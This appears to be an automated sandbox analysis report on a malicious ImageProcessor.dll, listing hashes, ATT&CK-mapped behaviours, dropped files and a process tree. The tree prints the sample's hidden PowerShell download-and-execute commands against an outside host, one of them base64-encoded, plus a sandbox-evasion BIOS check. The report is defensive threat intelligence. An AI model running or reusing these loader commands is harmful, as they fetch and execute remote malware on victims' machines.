8290cb6ae1da9198fe44aa65440e1b9911c5b6703754207715cba1872c964381

Analysis

user interaction
yes
max time kernel
149s
max time network
143s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
04/11/2026, 23:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Imageprocessor/ImageProcessor.dll
Size 16.1MB
Sample261104-3yrtfset3t
SHA256 8290cb6ae1da9198fe44aa65440e1b9911c5b6703754207715cba1872c964381
MD5 5e04f7165d362e21a9883e0d55b956ed
SHA1 91338e4b2a0b6f030a1fddb1764894f4e2b1ba82
SHA512 e6c8580f8afc9121fbcfe7672597c944d5b9e047829b39e6b893801238cfcd451aefceb0a90d6ce90dda9fec9733534b7891af41bdf247e539ffd37e52026087
SSDEEP 393216:jlALaDlsT1qoCCEFMPFhXbrY5Dp5vmC/C:xAGDlsMo1EMPFhXbrYb5vmqC
TLSH
T17F073346B77860E7E366BE3AE71B6C2D8609796606E5CB2F289106310E370DD1C7CF85
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4000	powershell.exe
17	2808	powershell.exe
18	2528	powershell.exe
20	2528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe
2528	powershell.exe
4000	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rename.exe

Executes dropped EXE 1 IoCs

pid	Process
4844	rename.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4000	powershell.exe
4000	powershell.exe
2808	powershell.exe
2808	powershell.exe
2528	powershell.exe
2528	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	2528	powershell.exe
Token: SeSecurityPrivilege	2528	powershell.exe
Token: SeTakeOwnershipPrivilege	2528	powershell.exe
Token: SeLoadDriverPrivilege	2528	powershell.exe
Token: SeSystemProfilePrivilege	2528	powershell.exe
Token: SeSystemtimePrivilege	2528	powershell.exe
Token: SeProfSingleProcessPrivilege	2528	powershell.exe
Token: SeIncBasePriorityPrivilege	2528	powershell.exe
Token: SeCreatePagefilePrivilege	2528	powershell.exe
Token: SeBackupPrivilege	2528	powershell.exe
Token: SeRestorePrivilege	2528	powershell.exe
Token: SeShutdownPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeSystemEnvironmentPrivilege	2528	powershell.exe
Token: SeRemoteShutdownPrivilege	2528	powershell.exe
Token: SeUndockPrivilege	2528	powershell.exe
Token: SeManageVolumePrivilege	2528	powershell.exe
Token: 33	2528	powershell.exe
Token: 34	2528	powershell.exe
Token: 35	2528	powershell.exe
Token: 36	2528	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 4000	4600	rundll32.exe	84
PID 4000 wrote to memory of 4844	4000	powershell.exe	93
PID 4844 wrote to memory of 2808	4844	rename.exe	94
PID 2808 wrote to memory of 2528	2808	powershell.exe	96

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\Imageprocessor\ImageProcessor.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "irm 'https://tools.lumma.cy/xn-Bt?dF=t' | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Users\Admin\AppData\Local\Temp\x2jgxz5emwf\rename.exe
    "C:\Users\Admin\AppData\Local\Temp\x2jgxz5emwf\rename.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\3uwu01jc.fcx.ps1"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 4f1451fd65ee2e6caa8b9469d4c1c6e04c5fdfe8b3622e282c12b04a57a1c5c5
MD5 44f1d3c784490e6d20f09b23ffab97ff
SHA1 bef2b93c56042cb1e28e3e9ae19fc0a826424d9f
SHA512 87de539381ffd788c542a61c44a219fe397efd54106991bdbe890058efa5f60e028451a91078ab6d87e8101479723bb86e79e25ca9a02fd633fd62b842508bbc
TLSH
T14D71EE313275B0D489567F47192819C463BF8386FA98AF5CB65C621EDA2740BDB222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 b4b717e7c3d9475c8a0593fa2c3726a2581e7107631b4c1529cfccf3866b9b3a
MD5 6f83c719a8bdb4349e073a075ed3289e
SHA1 57f845d178d3d7d010b7a7e267b02368ad287de5
SHA512 be6a12eb98eb4e09100f327520e7719661fea13ad38b6b94b4ef486a8847c174c55a8425a6e2b417108b0590616fc8f5003f7042735796aad55508eafa6d11ff
TLSH
T16F410F2677CC84C3F84505F755A88D50366693E3908BCECBABF4CE1C70AF688C769210
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 10e51c0fee71f1197a0ecbbda48efa9e7021a53e8d2c7f2f220010aa4ecfb636
MD5 3adf5b6920fe1a7ee9a83a214a8285f6
SHA1 21f007531c082aa60e1c5eb26d8964d4b69ba085
SHA512 b2881bc7057b593e10914b0bd8dd037aaebe95109c1a697eba1f1c245ca8737ec3efec0e66d5eaba7873fb0ae86d6736b3dc0bc2df3daad65bb14bda0a30a7e2
TLSH
T12121C527B7DCC990CCC9453A528C8C5036B3D7C7C09ACEDB6EC4C604A06F698CB2C260
MD5 SHA1 SHA512 TLSH

Submit Download

3uwu01jc.fcx.ps1

Path C:\Users\Admin\AppData\Local\Temp\3uwu01jc.fcx.ps1
Size 98B
SHA256 cf70f689a8b3698f14cb3d4b773fe975fe3ea701317445adb4ee1ba1c56da72a
MD5 18ce0fc780b98ffc755a1ee821c7d450
SHA1 aa92ab19d0293c34c8e976dacd168c4fe6042eab
SHA512 b93e8d2c1c1e873ad165d1d22271ac0f5384d286bf2465dbd22d975115d3063cf80118af5db6f16590af15d49c5cd5c848e1aef918dee4f51b22bfe8b5a6322b
TLSH
T1CBB0122216074C8B03E8271184226101E4C4349C302440DB7E5023858110BD8770C40D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mkpocra0.gf4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkpocra0.gf4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

rename.exe

Path C:\Users\Admin\AppData\Local\Temp\x2jgxz5emwf\rename.exe
Size 3.2MB
SHA256 5f530c900d39a3eb3f7f6645e1a24bd0db3c615d2d33f36b19034848a5aa2e20
MD5 71b2d5697d083d99ca763bc666857568
SHA1 67ccaeb9f66fecd2a91fc966e09bd0e2214caa42
SHA512 325ccd9cb9e1e35ea650facdce6e8ff3acbc3853bb4f803e8dfa0157f144e8c4b53a4ab44c01175437bc0762179883d076a559dc6484e35ff1ddbeaf592de2a4
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
TLSH
T137F58E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2528-60-0x00000170FFF80000-0x00000170FFFA4000-memory.dmp

Download

memory/2528-59-0x00000170FFF80000-0x00000170FFFAA000-memory.dmp

Download

memory/2808-38-0x000001FEF5710000-0x000001FEF5720000-memory.dmp

Download

memory/2808-39-0x000001FEF5710000-0x000001FEF5720000-memory.dmp

Download

memory/4000-15-0x000002356D430000-0x000002356D442000-memory.dmp

Download

memory/4000-14-0x000002356D400000-0x000002356D40A000-memory.dmp

Download

memory/4000-31-0x0000023552080000-0x0000023552090000-memory.dmp

Download

memory/4000-32-0x0000023552080000-0x0000023552090000-memory.dmp

Download

memory/4000-13-0x000002356D3E0000-0x000002356D3F4000-memory.dmp

Download

memory/4000-1-0x0000023552080000-0x0000023552090000-memory.dmp

Download

memory/4000-12-0x000002356D360000-0x000002356D386000-memory.dmp

Download

memory/4000-11-0x000002356D590000-0x000002356D752000-memory.dmp

Download

memory/4000-10-0x0000023552080000-0x0000023552090000-memory.dmp

Download

memory/4000-2-0x0000023552090000-0x00000235520B2000-memory.dmp

Download

memory/4000-0-0x0000023552080000-0x0000023552090000-memory.dmp

Download